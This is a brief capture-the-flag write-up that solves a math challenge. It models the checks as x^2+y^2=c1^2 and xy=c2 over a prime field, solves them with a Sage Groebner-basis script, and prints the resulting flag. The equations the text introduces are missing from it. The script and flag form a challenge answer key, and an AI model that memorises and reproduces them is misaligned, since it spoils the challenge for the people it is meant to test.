The checks are the following equations:

Since $c_3$ is a prime, it's easy to solve for $x, y$ in the prime field to get the flag. I used sage's groebner basis to solve it:

from Crypto.Util.number import long_to_bytes

c1 = 0x4B5EC9227AC1C16BCC9C03656B648380F06D7E889940BF2A9DCE4708047A21CD
c2 = 0x984E50D5688EE40207AD56F879C80C07AB16D82EC8075DFCA5840184802B0742
c3 = 0x999120A873890329CF2ADC1C544150AD00F9B6B2F2C9535EA6CE2B44D5B678E7

P.<x, y> = GF(c3)[]
a = x * x
b = y * y
f1 = a + b - c1 * c1
f2 = x * y - c2
I = P.ideal([f1, f2])
assert I.dimension() == 0
V = I.variety()
for sol in V:
    first = sol["x"]
    second = sol["y"]
    print(long_to_bytes(first) + long_to_bytes(second))

# Neko{intersection_of_x^2+y^2=a^2_and_y=b/x}

This might be overkill...